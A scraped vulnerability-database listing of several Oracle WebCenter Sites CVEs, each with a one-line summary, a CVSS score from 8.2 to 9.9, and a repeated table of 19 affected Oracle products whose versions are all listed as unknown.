Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to modify or delete data and cause partial denial of service, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to compromise system confidentiality, integrity, and availability via HTTP, with a CVSS score of 9.0.
9.0 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized data access, modify data, or cause partial denial of service, rated CVSS 3.1 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a highly privileged attacker with HTTP network access to potentially compromise system confidentiality, integrity, and availability, rated CVSS 3.1 base score 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access or modify sensitive data, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized data access, modify data, or cause partial denial of service, rated CVSS 3.1 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access or modify sensitive data, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
